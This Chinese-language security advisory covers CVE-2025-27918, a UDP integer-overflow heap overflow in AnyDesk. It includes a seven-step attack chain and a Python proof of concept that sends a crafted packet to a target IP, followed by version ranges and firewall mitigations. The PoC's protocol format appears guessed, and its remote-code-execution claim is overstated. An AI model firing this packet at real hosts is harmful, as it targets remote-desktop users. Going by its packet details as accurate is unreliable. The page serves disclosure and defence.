IPBUF安全漏洞报告
English
CVE-2025-27918 CVSS 9.8 严重

CVE-2025-27918: AnyDesk UDP整数溢出堆缓冲区溢出远程代码执行漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-27918
漏洞类型
整数溢出, 堆缓冲区溢出, 远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AnyDesk (Windows, macOS, Linux, iOS, Android)

相关标签

CVE-2025-27918整数溢出堆缓冲区溢出远程代码执行AnyDeskUDP协议CriticalCVSS 9.8WindowsmacOS

漏洞概述

CVE-2025-27918是AnyDesk多平台客户端中的一个严重安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞存在于AnyDesk的Discovery功能以及客户端之间建立连接的过程中。攻击者可以通过发送特制的UDP数据包,在处理用户身份图像时触发整数溢出错误,进而导致堆缓冲区溢出。由于CVSS向量显示攻击复杂度低且无需认证和用户交互,远程攻击者可以在无需任何前期条件的情况下直接利用此漏洞。此漏洞影响AnyDesk在Windows(9.0.5之前版本)、macOS(9.0.1之前版本)、Linux(7.0.0之前版本)、iOS(7.1.2之前版本)和Android(8.0.0之前版本)的所有主要平台。成功利用此漏洞可导致任意代码执行,攻击者可以完全控制受害者的系统,窃取敏感数据、安装恶意软件或建立持久化后门。由于AnyDesk被广泛应用于远程桌面访问和企业环境,此漏洞对全球用户构成严重安全威胁。

技术细节

该漏洞的根本原因在于AnyDesk在处理UDP数据包时的整数溢出问题。当程序接收到包含用户身份图像数据的UDP数据包时,在计算图像缓冲区大小时未能正确验证整数运算结果。具体来说,在计算图像尺寸或内存分配大小时,如果输入的数值足够大,算术运算会导致整数溢出,使计算结果远小于预期值。随后程序根据这个被溢出的错误值分配缓冲区,但在写入实际图像数据时会超出分配的缓冲区大小,从而触发堆缓冲区溢出。攻击者可以通过构造包含超大图像尺寸参数的UDP数据包来触发此漏洞。该漏洞可在Discovery功能中发现附近客户端时触发,也可以在两个AnyDesk客户端建立连接的过程中被利用。由于UDP协议的无连接特性,攻击者可以轻易伪造源地址并向目标发送恶意数据包。成功利用后,攻击者可以在受害者系统上执行任意代码,获得完整的系统控制权。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行AnyDesk客户端的目标系统,可以通过扫描UDP端口5001-5003发现运行AnyDesk的主机
STEP 2
步骤2
构造恶意UDP数据包:攻击者构造包含特制图像尺寸参数的UDP数据包,设置会导致整数溢出的超大数值(如0xFFFFFFFF)
STEP 3
步骤3
发送攻击载荷:通过UDP协议向目标AnyDesk客户端发送恶意数据包,可利用Discovery功能或连接建立过程
STEP 4
步骤4
触发整数溢出:目标AnyDesk处理数据包时,整数运算导致溢出,计算出远小于实际需要的缓冲区大小
STEP 5
步骤5
堆缓冲区溢出:程序根据错误的溢出值分配缓冲区后,写入大量图像数据时超出边界,覆写堆内存
STEP 6
步骤6
代码执行:攻击者通过覆写堆中的函数指针或利用内存布局控制程序执行流,最终实现任意代码执行
STEP 7
步骤7
建立持久化:成功获取代码执行权限后,攻击者可以安装后门、窃取数据或横向移动到网络中的其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-27918 PoC - AnyDesk Integer Overflow Heap Overflow # This PoC demonstrates sending a malicious UDP packet to trigger the vulnerability import socket import struct import sys def create_malicious_packet(): """ Create a malicious UDP packet to trigger integer overflow in AnyDesk's image processing """ # AnyDesk protocol header header = b'ADSP' # AnyDesk Service Protocol # Packet type for identity/image data packet_type = b'\x00\x02' # Image data packet # Trigger integer overflow with large size value # When multiplied or processed, this causes integer overflow malicious_size = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # Malicious payload that will overflow the heap buffer overflow_data = b'A' * 10000 # Large payload that exceeds allocated buffer # Construct the packet packet = header + packet_type + malicious_size + overflow_data return packet def exploit_anydesk(target_ip, target_port=5001): """ Send malicious packet to AnyDesk client Args: target_ip: Target AnyDesk client IP address target_port: AnyDesk UDP port (default: 5001) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malicious_packet() print(f'[+] Sending malicious packet to {target_ip}:{target_port}') sock.sendto(packet, (target_ip, target_port)) print('[+] Packet sent successfully') print('[+] If vulnerable, this should trigger heap overflow and RCE') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') print('Example: python3 {sys.argv[0]} 192.168.1.100') sys.exit(1) target = sys.argv[1] exploit_anydesk(target)

影响范围

AnyDesk for Windows < 9.0.5
AnyDesk for macOS < 9.0.1
AnyDesk for Linux < 7.0.0
AnyDesk for iOS < 7.1.2
AnyDesk for Android < 8.0.0

防御指南

临时缓解措施
如果无法立即安装更新,可以采取以下临时缓解措施:1) 在防火墙或网络边界设备上限制对AnyDesk UDP端口(5001-5003)的访问,只允许受信任的IP地址连接;2) 禁用AnyDesk的Discovery功能以减少攻击面;3) 监控网络流量中是否存在针对5001端口的异常UDP数据包;4) 考虑使用网络分段技术将AnyDesk客户端与其他关键系统隔离;5) 限制AnyDesk仅在受信任的网络环境中使用;6) 部署入侵检测/防御系统(IDS/IPS)监控相关攻击特征。需要注意的是,这些缓解措施不能完全消除风险,最有效的防御手段仍然是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表